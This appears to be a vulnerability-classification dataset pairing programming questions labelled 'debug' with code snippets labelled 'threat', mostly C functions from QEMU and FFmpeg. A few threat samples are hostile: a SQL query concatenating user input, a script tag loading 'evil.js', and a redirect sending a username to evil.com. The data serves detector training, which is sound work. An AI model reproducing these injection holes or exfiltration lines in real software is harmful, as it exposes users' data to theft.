problem
stringlengths
26
131k
labels
class label
2 classes
Subset DF by Unique Data Values for Factors in R : I am trying to filter a dataframe in which I have three columns, the 1st one is the date in format: "day/month/year", the 2nd one is the client name, and the 3rd one is the client spending on an specific product, I want to filter this df so I could get only the newes...
0debug
my php username line is not checking if the username already exist in my db : i used this line of code to check if the username already exist in my database if the user does not exist it creates it if it does echo 'username alrady exist' if(!DB::query('SELECT username FROM users WHERE username=:username', arr...
0debug
Jquery Filer adding header : <p>We have following problem, we really need to add header in object (uploadFile) : and we can't recive it..</p> <pre><code>uploadFile: { url: SERWER+"person/offer/photo/upload", data: null, type: 'POST', enctype: 'multipart/form-data', synchron: true, headers : { ...
0debug
Is this battery compatible with the Node MCU ESP8266? : <p>Is this <a href="https://rads.stackoverflow.com/amzn/click/com/B01N74S3LO" rel="nofollow noreferrer" rel="nofollow noreferrer">battery</a> compatible with this <a href="https://rads.stackoverflow.com/amzn/click/com/B010O1G1ES" rel="nofollow noreferrer" rel="nof...
0debug
cursor.execute('SELECT * FROM users WHERE username = ' + user_input)
1threat
An in app tutorial or walkthrough for a game : <p>I am looking for a way to implement a walkthrough into my android app. I want it to take the player through the first steps in getting started, it's just impossible to search without getting how to make an app tutorials. Any help and tips are appreciated.</p>
0debug
static void icount_adjust_rt(void *opaque) { timer_mod(icount_rt_timer, qemu_clock_get_ms(QEMU_CLOCK_VIRTUAL_RT) + 1000); icount_adjust(); }
1threat
why cannot extract spring boot executable jar : <p>spring boot project, build as a executable jar, but I found cannot extract the executable jar, e.g.</p> <pre><code>jar xvf spring-boot-foo-0.0.1-SNAPSHOT.jar </code></pre> <p>nothing output. But when extract a normal jar, it is successful</p> <pre><code>jar xvf mysq...
0debug
adding columns with two data types in sql server : [i need to achieve the output like this can anyone please help me. thanks in advance][1] [1]: https://i.stack.imgur.com/2atrZ.png
0debug
iOS & Android App Download : We have publish app in iOS & Android store last year. When I go to the google play store I can see 50,000 to 100,000 App downloads. But how can I know how much exact number of apps are downloaded. Kindly can somebody help me. How to check. Please note I have username & password for both ...
0debug
Stop PHP from echoing specific tags (but still echo others) : <p>I've been wondering if it's possible to "blacklist" specific HTML tags from printing (but <em>still</em> allow other tags to echo, so not strip_tags).</p> <p>So basically, if I wanted to block the <code>h1</code> tag, instead of:</p> <h1>Hello World</h1...
0debug
static int find_pte32 (mmu_ctx_t *ctx, int h, int rw) { return _find_pte(ctx, 0, h, rw); }
1threat
What are the platforms in the .NET Platform Standard? : <p>Currently trying to learn about the .NET Platform Standard I've found myself quite confused about the idea of "different platforms". </p> <p>I'll try to make my point clear. What I currently now about the .NET Framework is that .NET is roughly speaking made up...
0debug
Python list ways to select objects : <p>I have three lists: <code>[A, B, C]</code>, <code>[1]</code>, <code>[x,y]</code>.</p> <p>How to generate the following with python:</p> <p><code>[A,1,x]</code>, <code>[A,1,y]</code>, <code>[B,1,x]</code>, <code>[B,1,y]</code>, <code>[C,1,x]</code>, <code>[C,1,y]</code></p>
0debug
Why it is showing false when i insert 3 or more than 3 characters after s? : import java.util.regex.*; import java.util.*; class RegexEx { public static void main(String[] args) { String name=new String(); Scanner s=new Scanner(System.in); System.out.print("\n\n...
0debug
void main_loop_wait(int timeout) { IOHandlerRecord *ioh; fd_set rfds, wfds, xfds; int ret, nfds; #ifdef _WIN32 int ret2, i; #endif struct timeval tv; PollingEntry *pe; ret = 0; for(pe = first_polling_entry; pe != NULL; pe = pe->next) { ret |= pe->func(pe->op...
1threat
Android Studio How to get Stings from Fragment to Activity : I have an app that works with Stings but I doesn*t know how to send String from a Fragment to an Activity. Please help me
0debug
Linq: count by range : <p>Please help me to create a linq query. I have a class</p> <pre><code>class Person { string name; int age; } </code></pre> <p>I need to group a list of Persons by age ranges (0 to 10, 10 to 20, ... 90 to 100) and count a number of persons for each range. Also I want to filter the list...
0debug
static int vnc_display_get_address(const char *addrstr, bool websocket, bool reverse, int displaynum, int to, bool has_ipv4, ...
1threat
int ff_h264_fill_default_ref_list(H264Context *h) { int i, len; if (h->slice_type_nos == AV_PICTURE_TYPE_B) { Picture *sorted[32]; int cur_poc, list; int lens[2]; if (FIELD_PICTURE(h)) cur_poc = h->cur_pic_ptr->field_poc[h->picture_structure == PICT_BOTTOM...
1threat
How to make an installable .Net console app : <p>How can I make my console app installable so that when I open CMD I can run it from anywhere with a keyword. Like when I type in <code>git</code> in cmd for example. Thanks.</p>
0debug
the using system and attribute don't appear in their right color instead they appear in light blue. what does that mean? : [class Book[\]\[1\]][1] [class program][2] [1]: https://i.stack.imgur.com/WeOOb.png [2]: https://i.stack.imgur.com/nfGv8.png this is the code, I've tried rewriting it in a new program...
0debug
Having trouble understanding "/n" in python : I dunno whats the purpose of this `/n` in `python` Here is an example shown below: rangeNum = int(raw_input("Enter the max number you'd like to go up to: \n"))
0debug
Does require('foo') try to load a file named 'foo' first or 'foo.js' first? : Quoting from the article at <https://medium.freecodecamp.org/requiring-modules-in-node-js-everything-you-need-to-know-e7fbd119be8> below: > We can natively require JSON files and C++ addon files with the require function. You don’t even ne...
0debug
React Navigation how to hide tabbar from inside stack navigation : <p>I have the following stack navigation and screens:</p> <pre><code>export const HomeStack = createStackNavigator({ Home: HomeScreen, Categories: CategoriesScreen, Products: ProductsScreen, ProductDetails: ProductDetailsScreen, }) </co...
0debug
Double message on ios when get geolocation : <p>I have created an ios app (Xcode) with a single WebKit View component that loads an external website. This website tries to get the current geolocation with this Javascript: <code>navigator.geolocation</code>.</p> <p>This all works fine, but the problem is, I get 2 messa...
0debug
Python/Flask web development : <p>I using flask web development to create a mini-web with python 2.7.</p> <pre><code>import settings from flask import Flask, render_template app = Flask(__name__) app.config.from_object(settings) @app.route("/") def hello(): return "Hello World!" @app.route("/login") def login_...
0debug
How do I extract a javascript variable from a .js file with python? : <p>I'm trying to extract the JSON data in the variable chartData. This is stored in a .js file which generates a chart for my solar system. I want to extract this data so i can store it in a separate database.</p> <p>However I cant seem to find a wa...
0debug
document.write('<script src="evil.js"></script>');
1threat
static void v9fs_renameat(void *opaque) { ssize_t err = 0; size_t offset = 7; V9fsPDU *pdu = opaque; V9fsState *s = pdu->s; int32_t olddirfid, newdirfid; V9fsString old_name, new_name; pdu_unmarshal(pdu, offset, "dsds", &olddirfid, &old_name, &newdirfid, &new_nam...
1threat
Want to Implement Chat Feature in my android app is there any library or sdk i can use ? or i have to code it all myself? : <p>i just don't know where to get started.<br> i am making a college project in which students can discuss problems with other students or with teacher may be its like a post in Facebook and comm...
0debug
static int thread_execute(AVCodecContext *avctx, action_func* func, void *arg, int *ret, int job_count, int job_size) { SliceThreadContext *c = avctx->internal->thread_ctx; int dummy_ret; if (!(avctx->active_thread_type&FF_THREAD_SLICE) || avctx->thread_count <= 1) return avcodec_default_exec...
1threat
Task.Factory.StartNew() return thread to thread pool : <p>In this implementation <code>Task.Factory.StartNew</code> will never return thread to thread pool because it contains while(true) with Thread.Sleep. Is it right? How to check <code>queue</code> that it has task that need to be done?</p> <pre><code>namespace Con...
0debug
static int nbd_negotiate_send_rep_len(QIOChannel *ioc, uint32_t type, uint32_t opt, uint32_t len, Error **errp) { uint64_t magic; trace_nbd_negotiate_send_rep_len(opt, type, len); magic = cpu_to_be64(NBD_REP_MAGIC); if (nbd_write(ioc, &magic, sizeof(magic)...
1threat
how to Import Excel sheet in datagridview in C# : while i am trying to import data from excel some data of my excel sheet is missing in datagridviewa [excel sheet][1] [Data GridView][2] [1]: http://i.stack.imgur.com/ero7B.png [2]: http://i.stack.imgur.com/99G1X.png
0debug
Xcode 8 Warning: no rule to process file of type net.daringfireball.markdown for architecture x86_64 : <p>I get the above warning in Xcode 8 for a CHANGELOG.md file in my cocoapod source. How do I clear it?</p>
0debug
Simplify the following method : <p>The following method needs simplification so that lines become relatively small.</p> <pre><code> def rep(m): if m.group(0) == " " or m.group(0) == "_": return "[ _]" elif m.group(0) == "(" or m.group(0) == ")" or m.group(0) == "*" or m.group(0) == "+" o...
0debug
void *cpu_register_map_client(void *opaque, void (*callback)(void *opaque)) { MapClient *client = g_malloc(sizeof(*client)); qemu_mutex_lock(&map_client_list_lock); client->opaque = opaque; client->callback = callback; QLIST_INSERT_HEAD(&map_client_list, client, link); if (!atomic_read(...
1threat
static void glib_select_poll(fd_set *rfds, fd_set *wfds, fd_set *xfds, bool err) { GMainContext *context = g_main_context_default(); if (!err) { int i; for (i = 0; i < n_poll_fds; i++) { GPollFD *p = &poll_fds[i]; if ((p->events ...
1threat
static void *circular_buffer_task( void *_URLContext) { URLContext *h = _URLContext; UDPContext *s = h->priv_data; int old_cancelstate; pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, &old_cancelstate); ff_socket_nonblock(s->udp_fd, 0); while(1) { int left; int len; ...
1threat
static void vmgenid_device_class_init(ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); dc->vmsd = &vmstate_vmgenid; dc->realize = vmgenid_realize; dc->hotpluggable = false; dc->props = vmgenid_properties; set_bit(DEVICE_CATEGORY_MISC, dc->categories); obje...
1threat
int qsv_init(AVCodecContext *s) { InputStream *ist = s->opaque; QSVContext *qsv = ist->hwaccel_ctx; AVQSVContext *hwctx_dec; int ret; if (!qsv) { av_log(NULL, AV_LOG_ERROR, "QSV transcoding is not initialized. " "-hwaccel qsv should only be used for one-to-one QSV t...
1threat
Sql server Row To Columns Data : I have data in a SQL Table with the following structure: Engine_No Date Process Bolt_No1 B1Value1 B1Value2 B1Value3 Bolt_No2 B2Value1 B2Value2 B2Value3 Bolt_No3 B3Value1 B3Value2 B3Value3 Bolt_No4 B4Value1 B4Value2 B4Value3 I want to display the following results of a query: En...
0debug
PHPMyAdmin - How to Save Queries : <p>Is there a way to get PHPMyAdmin to save the queries that you enter manually through the SQL tab? I don't want it to save every single query it runs for obvious reasons, I just want to be able to save the ones I enter in there, cuz some of them are very useful, and sometimes I forg...
0debug
static void boston_platreg_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) { if (size != 4) { qemu_log_mask(LOG_UNIMP, "%uB platform register write", size); return; } switch (addr & 0xffff) { case PLAT_FPGA_BUILD: case PLAT_CO...
1threat
Continuous Deployment of a NodeJS using GitLab : <p>I have an API developed in NodeJS and have successfully set up continuous integration via a <code>.gitlab-ci.yml</code> file. The next stage is to set up continuous deployment to Heroku if all tests pass on the master branch.</p> <p>There are plenty of tutorials cove...
0debug
static inline int qemu_rdma_buffer_mergable(RDMAContext *rdma, uint64_t offset, uint64_t len) { RDMALocalBlock *block; uint8_t *host_addr; uint8_t *chunk_end; if (rdma->current_index < 0) { return 0; } if (rdma->current_chunk < 0) { return 0; ...
1threat
Passing String Java Android : If I have this background worker file in my android application and it gets data from my database how can I pass the string 'result' to another class? The background worker connects to my server and then using php it connects to a database. public class BackgroundWorker exten...
0debug
static int n8x0_atag_setup(void *p, int model) { uint8_t *b; uint16_t *w; uint32_t *l; struct omap_gpiosw_info_s *gpiosw; struct omap_partition_info_s *partition; const char *tag; w = p; stw_p(w++, OMAP_TAG_UART); stw_p(w++, 4); stw_p(w++, (1 << 2) | (1 << 1...
1threat
static uint64_t qemu_rdma_poll(RDMAContext *rdma, uint64_t *wr_id_out) { int ret; struct ibv_wc wc; uint64_t wr_id; ret = ibv_poll_cq(rdma->cq, 1, &wc); if (!ret) { *wr_id_out = RDMA_WRID_NONE; return 0; } if (ret < 0) { fprintf(stderr, "ibv_poll_cq r...
1threat
static int vtd_remap_irq_get(IntelIOMMUState *iommu, uint16_t index, VTDIrq *irq) { VTD_IRTE irte = { 0 }; int ret = 0; ret = vtd_irte_get(iommu, index, &irte); if (ret) { return ret; } irq->trigger_mode = irte.trigger_mode; irq->vector = irte.vector; irq->delivery_...
1threat
static inline int RENAME(yuv420_rgb15)(SwsContext *c, uint8_t* src[], int srcStride[], int srcSliceY, int srcSliceH, uint8_t* dst[], int dstStride[]){ int y, h_size; if(c->srcFormat == PIX_FMT_YUV422P){ srcStride[1] *= 2; srcStride[2] *= 2; } h_size= (c->dstW+7)&~7; if(h_s...
1threat
static void vnc_colordepth(VncState *vs) { if (vnc_has_feature(vs, VNC_FEATURE_WMVI)) { vnc_lock_output(vs); vnc_write_u8(vs, VNC_MSG_SERVER_FRAMEBUFFER_UPDATE); vnc_write_u8(vs, 0); vnc_write_u16(vs, 1); vnc_framebuffer_update(vs, 0, 0, ...
1threat
How to sum a value per day and then GROUP BY YEARWEEK : If i have a database with 2 columns, date and piece and i want to first count piece per day and then group by week. How wrong is my code and how to do it? SELECT date, piece, (SELECT date, COUNT(piece) FROM t1 WHERE piece > 10 GROUP BY...
0debug
Authorize.net arb : I am working on authorize.net integration in Laravel Framework(PHP). I am working on automated recurring billing. The scenario is I have a site, users sign up for our services and we charge them on monthly basis, and for that we have implemented automated recurring billing. But I am unab...
0debug
How to prevent an instance of a class from being created when the condition is true. C# : <p>I have the class Pos:</p> <pre><code>public class Pos { int x; int y; public int X { get { return x; } set { try { if ...
0debug
How To use Model OOP in Java, Sorry i am newbie : I have a Model Active Admin, i have created String ID setter and getter. when i use setID in Login Form, i use this : `ActiveAdmin AA = new ActiveAdmin();` AA.setId(txtIdAdmin.getText()); and i test getter from login form, it work. but when i test in anothe...
0debug
I do not understand the error code CS0120 for this specific program in C# : I am new to C# and need a little help. I am having one error and have searched for answers in my book and watched tutorials for this particular subject. The error is in bold. Any help will be appreciated! The large gap is to indicate another cl...
0debug
def count_char(string,char): count = 0 for i in range(len(string)): if(string[i] == char): count = count + 1 return count
0debug
Why are so many js libraries talking about command line installation : I have apparently missed a shift in javascript culture ... now I see js libraries (such as [modernizr][1]) that talk about installing them via command lines via *npm*. This is of course very different from the simple notion of `<script src ='...'></...
0debug
C# tertiary operator solve : <p>Can any one tell me the meaning of the below C# code</p> <pre><code>true? para1:para2; </code></pre> <p>For example,</p> <pre><code>char x = 'A'; Console.WriteLine(true? x : 0); </code></pre> <p>The console prints 65</p> <p>I do not understand how it works.</p>
0debug
static int vscsi_srp_indirect_data(VSCSIState *s, vscsi_req *req, uint8_t *buf, uint32_t len) { struct srp_direct_buf *td = &req->ind_desc->table_desc; struct srp_direct_buf *md = req->cur_desc; int rc = 0; uint32_t llen, total = 0; dprintf("VSCSI: indirec...
1threat
open link in new tab with github markdown using target="_blank" : <p>Is there a way to let a Link, written in githubs markdown, open in a new tab? All posts I have found related to this suggests to use HTML and <code>target="_blank"</code>, which is fine with me, but that doesn't work. For example this link:</p> <pre>...
0debug
Java 2D arrayList - copy last element, update it and add the updated version at the end of the list : The problem is kinda weird. I have a 2D arrayList. Where each element has an int called x and other called y. What i am trying to do is get the last element of 2DarrayList and update the x and y values and add the upda...
0debug
static int iscsi_aio_discard_acb(IscsiAIOCB *acb) { struct iscsi_context *iscsi = acb->iscsilun->iscsi; struct unmap_list list[1]; acb->canceled = 0; acb->bh = NULL; acb->status = -EINPROGRESS; acb->buf = NULL; list[0].lba = sector_qemu2lun(acb->sector_num, ac...
1threat
int ff_rv34_decode_frame(AVCodecContext *avctx, void *data, int *data_size, uint8_t *buf, int buf_size) { RV34DecContext *r = avctx->priv_data; MpegEncContext *s = &r->s; AVFrame *pict = data; SliceInfo si; int i; int slice_count; ...
1threat
Can't figure out what's causing problems : <p>I recently asked a question on how I'd set up a cross server bot with per server commands. Someone said I'd be able to using quick.db, then put this code in his answer:</p> <pre><code>client.on("message", message =&gt; { const args = message.content.slice(prefix.length...
0debug
static void sx1_init(MachineState *machine, const int version) { struct omap_mpu_state_s *mpu; MemoryRegion *address_space = get_system_memory(); MemoryRegion *flash = g_new(MemoryRegion, 1); MemoryRegion *flash_1 = g_new(MemoryRegion, 1); MemoryRegion *cs = g_new(MemoryRegion, 4); static...
1threat
Resize Bootstrap Modals window : <p>Looking for help with this bootstrap modal. </p> <p>When you click on a package (the colored blocks), the modal opens full screen. I cant figure out how to make it open more in a window. </p> <p>Not sure if this is a bootstrap or j query thing. </p> <p>site: <a href="http://pegasu...
0debug
Python regular expression: exact match only : <p>I have a very simple question, but I can't find an answer for this.</p> <p>I have some string like:</p> <pre><code>test-123 </code></pre> <p>I want to have some <code>smart</code> regular expression for validation if this string exact match my condition.</p> <p>I exp...
0debug
static void nvenc_setup_rate_control(AVCodecContext *avctx) { NVENCContext *ctx = avctx->priv_data; NV_ENC_RC_PARAMS *rc = &ctx->config.rcParams; if (avctx->bit_rate > 0) rc->averageBitRate = avctx->bit_rate; if (avctx->rc_max_rate > 0) rc->maxBitRate = avctx->rc_max_rate; ...
1threat
what is wrong with: select CONVERT(date,N'13/01/2016') : I used sql server 2028 R when I run the above a script I get this error anyone could help please error message: Msg 241, Level 16, State 1, Line 1 Conversion failed when converting date and/or time from character string.
0debug
void ioinst_handle_stcrw(S390CPU *cpu, uint32_t ipb) { CRW *crw; uint64_t addr; int cc; hwaddr len = sizeof(*crw); CPUS390XState *env = &cpu->env; addr = decode_basedisp_s(env, ipb); if (addr & 3) { program_interrupt(env, PGM_SPECIFICATION, 2); return; } ...
1threat
Update MySQL root password - Ubuntu : <p>I want to update my MySQL password from <code>I9O*Kez</code> ---> <code>SO123*</code></p> <p>I perform these </p> <pre><code>mysql -u root -pI9O*Kez service mysql stop mysqld_safe --skip-grant-tables &amp; mysql -uroot use mysql; delete from user where User='root'; CREATE...
0debug
What is proper name of controller's parameters? : <p>I divided value objects into three types from design point of view. First, Entity is representaton of domain data and map with table of database. Second, DTO (data transfer object) is a simple and compact object and it exist for trans data from service layer to front...
0debug
How can I locate people with a gyroscope and accelerometer? : <p>I want to build an app that locate and track people by iPhone using Gyro+Accelerometer. No need for GPS here.</p> <p>How should I approach this problem?</p>
0debug
Using dplyr to conditionally replace values in a column : <p>I have an example data set with a column that reads somewhat like this:</p> <pre><code>Candy Sanitizer Candy Water Cake Candy Ice Cream Gum Candy Coffee </code></pre> <p>What I'd like to do is replace it into just two factors - "Candy" and "Non-Candy". I ca...
0debug
static void adlib_realizefn (DeviceState *dev, Error **errp) { AdlibState *s = ADLIB(dev); PortioList *port_list = g_new(PortioList, 1); struct audsettings as; if (glob_adlib) { error_setg (errp, "Cannot create more than 1 adlib device"); return; } glob_adlib = s; #...
1threat
static int dynticks_start_timer(struct qemu_alarm_timer *t) { struct sigevent ev; timer_t host_timer; struct sigaction act; sigfillset(&act.sa_mask); act.sa_flags = 0; act.sa_handler = host_alarm_handler; sigaction(SIGALRM, &act, NULL); memset(&ev, 0, sizeof(ev...
1threat
Assign letter to a variable for if statement : <p>in C++ is there a way to assign a letter to a variable I need to write a program that asks for a letter grade A,B,C,D,F and out puts a different message depending on what letter grade was given </p>
0debug
can't display java code on my html website page in a proper formatted way : <p>I am new to website development so what I am doing is using <br> tag after each line of code to break the line and giving space in starting to make it as presentable as it is in eclipse but while displaying the entire code it shifts to left....
0debug
how to use IComparable<T> in C# to compare 2 List : Eg:- var ExistingGroup = new List<Person> { new Person(1,"Rahul","Sharma"), new Person(2,"Deepak","Jha"), new Person(3,"Raj","Mishra"), } var NewGroup = new List<Person> { new Person(4,"Jay","Mohan"), new Person(2,"Dileep","Kumar"), new Person(5,"Mohan"...
0debug
Leaflet : tiles didn't load : <p>I try to use the leaflet-map with polymer. I add the leaflet-map tag inside my template, but when loading (and waiting) there is only one tile which is displayed (in the top left) with the original configuration (no leaflet-tilelayer, only set the latitude, longitude and zoom)</p> <p>I...
0debug
Volley requests not working with Django Sessions : <p>I have a Django script running on the server that creates session variables for every request sent to the server. The script returns a specific value based on the previous stored session variables.</p> <p>When I tested the script on the browser, the session on Djan...
0debug
How to sum the elements of an array list that stores objects : <p>I have a array list called Employees that stores Employee objects. Each employee has last name, first name, hour,pay pate, gross, tax, and net. I am trying to calculate the sum of each Employee's hour,pay pate, gross, tax, and net. Is there a way to extr...
0debug
Pseudocode Python Concepts : <p>I know that pseudocode by its very nature is based more on natural language syntax and principles than anything else, but it is supposed to represent coding concepts. I am still a beginner , so I don't understand all of the concepts.</p> <pre><code> int string (char s[1..m], char t[1...
0debug
Please provide regex for the given multiple numbers in a sentence? : Here I have to return true or false if my 2 digits (can be anything) found in a number not seperated by white spaces here 2 digits (1 and 3) are present in two different numbers(8913011, 12) and it is returning true . This is wrong scenario ...
0debug
static MemoryRegion *pc_dimm_get_memory_region(PCDIMMDevice *dimm) { return host_memory_backend_get_memory(dimm->hostmem, &error_abort); }
1threat
powering to decimal number produce wrong answer : my calculation is simple but it provide wrong answer, for example 3**0.1-0.3 should equal to 0.0, but python interpreter give 0.8161 even on using Decimal system,i am using python 3.6.3, here my code is from decimal import Decimal as D print(D('3')**D(...
0debug
std::vector "magically" empties : I'm currently programming something needing vectors. I have two nested loops; for (size_t i = 0; i < m_neurons.size(); i++) { for (size_t j = 0; j < m_neurons[0].m_weights.size(); j++) { } } This section is the one we are interested in...
0debug
I'de like to Transpose excel columns into a new list : I'm new at VBA and tried finding already existing solutions but none answered fully my requirements: My initial list has holes (blanks)[enter image description here][1] and I need to list the results as transposed without these blank fields column A has files # a...
0debug
How do I simulate a websocket disconnect manually? (Firefox or Chrome dev tools) : <p>How do I simulate a websocket disconnect manually? I'm trying to test websocket reconnect logic, and I have no way of doing this other than waiting for the browser's 10 minute websocket timeout.</p>
0debug
check if two array have any value same : <p>Is there any way I could check if two arrays contain the same value?</p> <pre><code>array (size=1) 0 =&gt; string '209' (length=3) array (size=4) 0 =&gt; string '209' (length=3) 1 =&gt; string '208' (length=3) 2 =&gt; string '1' (length=1) 3 =&gt; string '2' (leng...
0debug
Composer Fatal error: Declaration of Fxp... must be compatible with ...AbstractAssetsRepository.php on line 334 : <p>I updated composer</p> <pre><code>composer self-update </code></pre> <p>I installed the newer version of the plugin</p> <pre><code>composer global require "fxp/composer-asset-plugin:*" </code></pre> ...
0debug
How to assign a variable in one method and change/use it in another method? : <p>What changes do I have to make for the x and z variables to retain the values they are assigned in the Assign method? I have only recently started learning C# for college after learning C++ for 2 years in school so this is very confusing t...
0debug
static void socket_outgoing_migration(Object *src, Error *err, gpointer opaque) { MigrationState *s = opaque; QIOChannel *sioc = QIO_CHANNEL(src); if (err) { trace_migration_socket_outgoing_error(error_get_pretty(er...
1threat
document.location = 'http://evil.com?username=' + user_input;
1threat
static int rndis_query_response(USBNetState *s, rndis_query_msg_type *buf, unsigned int length) { rndis_query_cmplt_type *resp; uint8_t infobuf[sizeof(oid_supported_list)]; uint32_t bufoffs, buflen; int infobuflen; unsigned int resplen; bufoffs = le32_to_cpu(buf->...
1threat
Compute matrix an data frame : Body mass index (BMI) is a biometric measure of the relationship between height and weight of an individual. The BMI data were compiled in the following vector: imc <- c (18, 19, 24, 25, 30, 35, 30, 20, 18, 15). The criterion of experts to classify the groups is the following: low (<18.55...
0debug
JSON access children in plain javascript : <p>I have the following, simple JSON structure:</p> <pre><code>{ "a": { "value1": "w", "value2": "x" }, "b": { "value1": "w", "value2": "x" }, "c": { "value1": "w", "value2": "x" } </code></pre> <p>}</p> <p>...the desired output is as follows: </p> ...
0debug